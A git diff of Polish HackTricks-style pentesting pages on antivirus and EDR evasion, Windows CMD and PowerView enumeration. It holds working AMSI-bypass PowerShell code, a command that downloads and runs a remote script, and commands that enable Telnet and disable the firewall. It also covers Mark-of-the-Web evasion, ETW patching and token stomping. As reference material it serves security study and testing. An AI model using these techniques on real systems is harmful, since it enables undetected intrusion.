Ostatnie polecenie wygeneruje 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany DLL.
Ostatnie polecenie wygeneruje nam 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany DLL.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
@ -105,13 +105,13 @@ Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> **Zdecydowanie polecam** obejrzenie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [wideo ippsec'a](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
> **Zalecam** obejrzenie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [wideo ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze to zestaw narzędzi do payloadów do omijania EDR-ów przy użyciu wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
`Freeze to zestaw narzędzi do payloadów do omijania EDR-ów za pomocą wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
Możesz użyć Freeze, aby załadować i wykonać swój shellcode w sposób ukryty.
Możesz użyć Freeze do załadowania i wykonania swojego shellcode w sposób dyskretny.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -121,11 +121,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Unikanie to tylko gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania.
> Unikanie wykrycia to tylko gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania wykrycia.
## AMSI (Interfejs skanowania antywirusowego)
## AMSI (Interfejs Skanowania Antywirusowego)
AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli udało ci się w jakiś sposób wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo, programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli udało ci się jakoś wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
@ -135,7 +135,7 @@ Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
- JavaScript i VBScript
- Makra VBA w Office
Umożliwia to rozwiązaniom antywirusowym inspekcję zachowania skryptów poprzez ujawnienie zawartości skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie zawartości skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w Windows Defender.
@ -145,6 +145,8 @@ Zauważ, jak dodaje `amsi:` przed ścieżką do pliku wykonywalnego, z którego
Nie zapisaliśmy żadnego pliku na dysku, ale nadal zostaliśmy złapani w pamięci z powodu AMSI.
Co więcej, począwszy od **.NET 4.8**, kod C# jest również uruchamiany przez AMSI. To nawet wpływa na `Assembly.Load(byte[])` do ładowania w pamięci. Dlatego zaleca się używanie niższych wersji .NET (jak 4.7.2 lub niższe) do wykonania w pamięci, jeśli chcesz uniknąć AMSI.
Istnieje kilka sposobów na obejście AMSI:
- **Obfuskacja**
@ -160,13 +162,13 @@ Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell
**Wymuszenie błędu**
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie zainicjowane żadne skanowanie dla bieżącego procesu. Początkowo ujawnione przez [Matta Graebera](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
```powershell
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Wystarczyła jedna linia kodu PowerShell, aby uczynić AMSI bezużytecznym dla bieżącego procesu PowerShell. Ta linia została oczywiście oznaczona przez AMSI, więc konieczne są pewne modyfikacje, aby użyć tej techniki.
Oto zmodyfikowane obejście AMSI, które wziąłem z tego [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
@ -179,7 +181,7 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Miej na uwadze, że to prawdopodobnie zostanie oznaczone, gdy ten post zostanie opublikowany, więc nie powinieneś publikować żadnego kodu, jeśli twoim planem jest pozostanie niezauważonym.
**Memory Patching**
@ -188,23 +190,50 @@ Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com
> [!NOTE]
> Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) w celu uzyskania bardziej szczegółowego wyjaśnienia.
Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą powershell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/index.html#amsi-bypass) oraz [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.
Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą PowerShell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/index.html#amsi-bypass) oraz [**ten repozytorium**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.
Lub ten skrypt, który za pomocą patchowania pamięci będzie patchował każdy nowy Powersh
To narzędzie [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) również generuje skrypt do obejścia AMSI.
**Remove the detected signature**
Możesz użyć narzędzia takiego jak **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** oraz **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, aby usunąć wykrytą sygnaturę AMSI z pamięci bieżącego procesu. To narzędzie działa, skanując pamięć bieżącego procesu w poszukiwaniu sygnatury AMSI, a następnie nadpisując ją instrukcjami NOP, skutecznie usuwając ją z pamięci.
**AV/EDR products that uses AMSI**
Możesz znaleźć listę produktów AV/EDR, które używają AMSI w **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Use Powershell version 2**
Jeśli używasz PowerShell w wersji 2, AMSI nie zostanie załadowany, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić:
```bash
powershell.exe -version 2
```
## PS Logging
Logowanie PowerShell to funkcja, która pozwala na rejestrowanie wszystkich poleceń PowerShell wykonywanych na systemie. Może to być przydatne do audytów i rozwiązywania problemów, ale może też stanowić **problem dla atakujących, którzy chcą uniknąć wykrycia**.
Aby obejść logowanie PowerShell, możesz użyć następujących technik:
- **Wyłącz transkrypcję PowerShell i logowanie modułów**: Możesz użyć narzędzia takiego jak [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) w tym celu.
- **Użyj wersji PowerShell 2**: Jeśli używasz wersji PowerShell 2, AMSI nie zostanie załadowane, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić: `powershell.exe -version 2`
- **Użyj niezarządzanej sesji PowerShell**: Użyj [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), aby uruchomić PowerShell bez zabezpieczeń (to jest to, co używa `powerpick` z Cobalt Strike).
## Obfuscation
Istnieje kilka narzędzi, które można wykorzystać do **obfuskacji kodu C# w czystym tekście**, generowania **szablonów metaprogramowania** do kompilacji binarnych lub **obfuskacji skompilowanych binarnych**, takich jak:
> [!NOTE]
> Kilka technik obfuskacji polega na szyfrowaniu danych, co zwiększy entropię binarnego pliku, co ułatwi AV i EDR jego wykrycie. Bądź ostrożny z tym i może zastosuj szyfrowanie tylko do konkretnych sekcji swojego kodu, które są wrażliwe lub muszą być ukryte.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: obfuskator C#**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartoźródłowego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i zabezpieczanie przed manipulacjami.
Istnieje kilka narzędzi, które można wykorzystać do **obfuskacji kodu C# w postaci czystego tekstu**, generowania **szablonów metaprogramowania** do kompilacji binariów lub **obfuskacji skompilowanych binariów**, takich jak:
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): To świetny open-source obfuskator dla aplikacji .NET. Oferuje różne techniki ochrony, takie jak obfuskacja przepływu sterowania, anty-debugging, anty-tampering i szyfrowanie ciągów. Jest polecany, ponieważ pozwala nawet na obfuskację konkretnych fragmentów kodu.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie open-source'owego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i zabezpieczanie przed manipulacjami.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora.
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie chcącej złamać aplikację.
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie, która chce złamać aplikację.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorfnego dla dowolnych plików wykonywalnych.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o wysokiej precyzji dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować.
## SmartScreen & MoTW
@ -214,7 +243,7 @@ Microsoft Defender SmartScreen to mechanizm zabezpieczeń mający na celu ochron
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, co ostrzega i uniemożliwia użytkownikowi końcowemu uruchomienie pliku (choć plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).
**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
@ -223,14 +252,14 @@ SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co
> [!NOTE]
> Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie wywołają SmartScreen**.
Bardzo skutecznym sposobem na zapobieganie oznaczeniu twoich ładunków jako Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów nie NTFS**.
Bardzo skutecznym sposobem na zapobieganie oznaczaniu twoich ładunków jako Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów nie-NTFS**.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje ładunki do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web.
Przykład użycia:
```powershell
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
@ -251,27 +280,35 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Oto demonstracja omijania SmartScreen poprzez pakowanie ładunków w plikach ISO za pomocą [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Event Tracing for Windows (ETW) to potężny mechanizm logowania w systemie Windows, który pozwala aplikacjom i komponentom systemowym na **logowanie zdarzeń**. Może być również używany przez produkty zabezpieczające do monitorowania i wykrywania złośliwych działań.
Podobnie jak w przypadku wyłączenia (obejścia) AMSI, możliwe jest również sprawienie, aby funkcja **`EtwEventWrite`** procesu w przestrzeni użytkownika zwracała natychmiastowo, nie rejestrując żadnych zdarzeń. Osiąga się to poprzez patchowanie funkcji w pamięci, aby zwracała natychmiastowo, skutecznie wyłączając logowanie ETW dla tego procesu.
Więcej informacji można znaleźć w **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) i [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest to bardzo dobry sposób na uruchamianie narzędzi post-exploitation bez wykrycia przez AV.
Ponieważ ładunek będzie ładowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI przez cały proces.
Ponieważ ładunek będzie ładowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI dla całego procesu.
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc itp.) już oferuje możliwość wykonywania zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby, aby to zrobić:
- **Fork\&Run**
Polega to na **tworzeniu nowego procesy ofiarnego**, wstrzykiwaniu złośliwego kodu post-exploitation do tego nowego procesu, wykonywaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacji Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa** na **przetrwanie naszego implantatu.** Wadą jest to, że masz **większą szansę** na bycie złapanym przez **Wykrycia Behawioralne**.
Polega to na **uruchomieniu nowego procesy ofiarnego**, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacyjnym Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa**, że nasz **implant przetrwa.** Wadą jest to, że masz **większą szansę** na wykrycie przez **Wykrywanie Behawioralne**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Chodzi o wstrzykiwanie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utra twojego beacona**, ponieważ może on się zawiesić.
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utracenie twojego beacona**, ponieważ może on się zawiesić.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -280,40 +317,50 @@ Chodzi o wstrzykiwanie złośliwego kodu post-exploitation **do własnego proces
Możesz również ładować zestawy C# **z PowerShell**, sprawdź [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) oraz [film S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Używanie innych języków programowania
## Using Other Programming Languages
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na udostępnionym SMB kontrolowanym przez atakującego**.
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na udziale SMB kontrolowanym przez atakującego**.
Pozwalając na dostęp do binarnych plików interpretera i środowiska na udostępnionym SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
Umożliwiając dostęp do binarnych plików interpretera i środowiska na udziale SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itp. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
## Zaawansowane omijanie
## TokenStomping
Omijanie to bardzo skomplikowany temat, czasami musisz wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
Token stomping to technika, która pozwala atakującemu na **manipulowanie tokenem dostępu lub produktem zabezpieczającym, takim jak EDR lub AV**, co pozwala im na obniżenie jego uprawnień, aby proces nie zakończył się, ale nie miał uprawnień do sprawdzania złośliwych działań.
Aby temu zapobiec, Windows mógłby **zapobiec zewnętrznym procesom** uzyskiwania uchwytów do tokenów procesów zabezpieczających.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## Advanced Evasion
Ewazja to bardzo skomplikowany temat, czasami musisz wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
Każde środowisko, przeciwko któremu się stawiasz, będzie miało swoje własne mocne i słabe strony.
Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać wgląd w bardziej zaawansowane techniki omijania.
Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać podstawy bardziej zaawansowanych technik ewazji.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
To również kolejne świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) na temat omijania w głębi.
To również kolejne świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) na temat ewazji w głębi.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Stare techniki**
## **Old Techniques**
### **Sprawdź, które części Defender uznaje za złośliwe**
### **Check which parts Defender finds as malicious**
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów**, aż **dowie się, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\
Inne narzędzie robiące **to samo to** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Innym narzędziem wykonującym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą stroną oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Serwer Telnet**
### **Telnet Server**
Do Windows 10 wszystkie systemy Windows miały **serwer Telnet**, który można było zainstalować (jako administrator) wykonując:
```bash
@ -323,7 +370,7 @@ Uruchom to **przy starcie** systemu i **uruchom** to teraz:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Zmień port telnet** (stealth) i wyłącz zaporę:
**Zmień port telnet** (ukryty) i wyłącz zaporę:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
@ -346,9 +393,9 @@ Następnie przenieś plik binarny _**winvnc.exe**_ oraz **nowo** utworzony plik
**OSTRZEŻENIE:** Aby zachować dyskrecję, musisz unikać kilku rzeczy
- Nie uruchamiaj `winvnc`, jeśli już działa, ponieważ spowoduje to wywołanie [popupu](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa, używając `tasklist | findstr winvnc`
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, ponieważ spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
- Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, ponieważ spowoduje to wywołanie [popupu](https://i.imgur.com/oc18wcu.png)
- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup](https://i.imgur.com/1SROTTl.png). sprawdź, czy działa za pomocą `tasklist | findstr winvnc`
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
- Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, bo wywołasz [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -525,6 +572,6 @@ https://github.com/praetorian-code/vulcan
```
### Więcej
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

View File

@ -23,7 +23,7 @@ DRIVERQUERY #3rd party driver vulnerable?
```bash
set #List all environment variables
```
Niektóre zmienne środowiskowe do podkreślenia:
Niektóre zmienne środowiskowe do wyróżnienia:
- **COMPUTERNAME**: Nazwa komputera
- **TEMP/TMP:** Folder tymczasowy
@ -112,7 +112,7 @@ dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## Użytkownicy i Grupy
## Użytkownicy i grupy
### Użytkownicy
```bash
@ -315,7 +315,7 @@ who^ami #whoami
### DOSfuscation
Generuje zafałszowaną linię CMD
```powershell
```bash
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
@ -330,7 +330,7 @@ Możesz nasłuchiwać na [http://+:80/Temporary_Listen_Addresses/](http://+/Temp
```bash
netsh http show urlacl
```
### Ręczny shell DNS
### Manual DNS shell
**Atakujący** (Kali) musi użyć jednej z tych 2 opcji:
```bash

File diff suppressed because one or more lines are too long

View File

@ -7,7 +7,7 @@ Najbardziej aktualna wersja PowerView zawsze będzie w gałęzi dev PowerSploit:
[**SharpView**](https://github.com/tevora-threat/SharpView) to port .NET [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
### Szybka enumeracja
```powershell
```bash
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### Informacje o domenie
```powershell
```bash
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
Get-ForestDomain
```
### Użytkownicy, Grupy, Komputery i OU
```powershell
```bash
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### Logowanie i sesje
```powershell
```bash
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Group Policy Object - GPOs
Jeśli atakujący ma **wysokie uprawnienia do GPO** może być w stanie **privesc** wykorzystując to poprzez **dodanie uprawnień do użytkownika**, **dodanie lokalnego użytkownika administratora** do hosta lub **utworzenie zadania zaplanowanego** (natychmiastowego) w celu wykonania akcji.\
Jeśli atakujący ma **wysokie uprawnienia do GPO** może być w stanie **privesc** wykorzystując to poprzez **dodanie uprawnień do użytkownika**, **dodanie lokalnego użytkownika administratora** do hosta lub **utworzenie zaplanowanego zadania** (natychmiastowego) w celu wykonania akcji.\
Dla [**więcej informacji na ten temat i jak to wykorzystać, kliknij ten link**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
```powershell
```bash
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
@ -178,7 +178,7 @@ Naucz się, jak **wykorzystać uprawnienia w GPO i ACL** w:
{{#endref}}
### ACL
```powershell
```bash
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### Wspólne pliki i foldery
```powershell
```bash
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### Zaufanie domeny
```powershell
```bash
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### L**ow**-**hanging fruit**
```powershell
```bash
